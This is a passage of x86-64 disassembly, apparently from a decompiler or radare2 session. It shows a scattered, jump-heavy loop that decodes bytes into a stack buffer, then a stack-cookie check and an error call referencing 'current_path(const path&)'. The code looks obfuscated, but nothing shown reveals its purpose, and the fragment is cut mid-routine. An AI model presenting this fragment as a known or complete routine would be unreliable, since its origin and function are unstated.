lea edx, [r10 - 0x18]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x58
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14004c99e
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x50
jmp 0x14004ca05
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x14004c59e
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x48
jmp 0x14004cbeb
movzx r11d, r10b
lea r8d, [r11 + 0x50]
movzx ecx, r8b
and cl, r9b
add cl, cl
movzx edi, byte [rbp + r10 - 0x20]
sub dil, cl
sub dil, 0x30
jmp 0x14004cbab
movzx r11d, r10b
lea r8d, [r11 - 0xc]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
sub r11b, 0x3a
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x6a
add r11b, r9b
movzx ecx, r11b
mov byte [rbp + r10 - 0x20], cl
inc rax
add rcx, rax
sub r10, rcx
lea edx, [r10 - 0x68]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
sub dl, 0x28
add dl, r9b
mov byte [rbp + r10 - 0x20], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r10, rcx
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea r8d, [r10 - 2]
movzx ecx, r8b
and cl, r9b
mov edx, 7
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea edx, [r10 + 0x12]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x7e
jmp 0x14004cbee
movzx r11d, r10b
lea r8d, [r11 - 0x36]
mov edx, 0x3d
jmp 0x14004cb9f
lea edx, [r10 + 0x26]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0xa
dec r10
inc r10
jmp 0x14004c113
movzx r11d, r10b
lea edx, [r11 - 0x22]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x12
jmp 0x14004cb1e
movzx r11d, r10b
lea edx, [r11 - 0x6a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1a
add r11b, 0x7e
movzx ecx, r11b
and cl, r9b
add cl, cl
sub r11b, cl
sub r11b, 0x72
add r11b, r9b
mov byte [rbp + r10 - 0x20], r11b
inc rax
dec r10
inc r10
jmp 0x14004c113
lea r8d, [r10 - 0xe]
movzx ecx, r8b
and cl, r9b
mov edx, 0x31
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
inc rax
dec r10
inc r10
jmp 0x14004c113
lea edx, [r10 + 0x4e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x22
dec r10
inc r10
jmp 0x14004c113
movzx r11d, r10b
lea r8d, [r11 - 0x56]
mov edx, 0x2d
movzx ecx, r8b
and cl, r9b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
add r11b, 0x22
movzx ecx, r11b
and cl, r9b
mov edx, 9
sub dl, cl
add dl, dl
add dl, dil
add dl, r11b
add dl, r9b
mov byte [rbp + r10 - 0x20], dl
jmp 0x14004cbeb
lea edx, [r10 + 6]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2a
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r10, rdx
inc r10
jmp 0x14004c113
lea rdx, [r10 + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea edi, [rdx + r8]
sub dil, 0x3a
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
add r10b, 0x1a
movzx ecx, r10b
and cl, r9b
mov edx, 0x25
sub dl, cl
lea edi, [rdx + rdx]
add dil, r10b
add dil, r9b
jmp 0x14004c110
add r10b, 0x76
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3a
jmp 0x14004c100
lea rdx, [rbp + 0x1762cf8]
jmp 0x14004cc85
lea rdx, [rbp + 0x4265ca]
jmp 0x14004cc85
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
call fcn.140043270
nop
lea rcx, [rbp + 0x210]
call fcn.140044d10
lea rcx, [rbp + 0x1f0]
call fcn.140044d10
lea rcx, [rbp + 0x1f0]
call fcn.140044d10
nop
lea rcx, [rbp + 0x1f0]
call fcn.140043df0
nop
lea rcx, [rbp + 0x230]
call fcn.140043df0
nop
lea rcx, [rbp + 0x210]
call fcn.140043df0
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.14013cd20
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x110]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.14004ee70
int3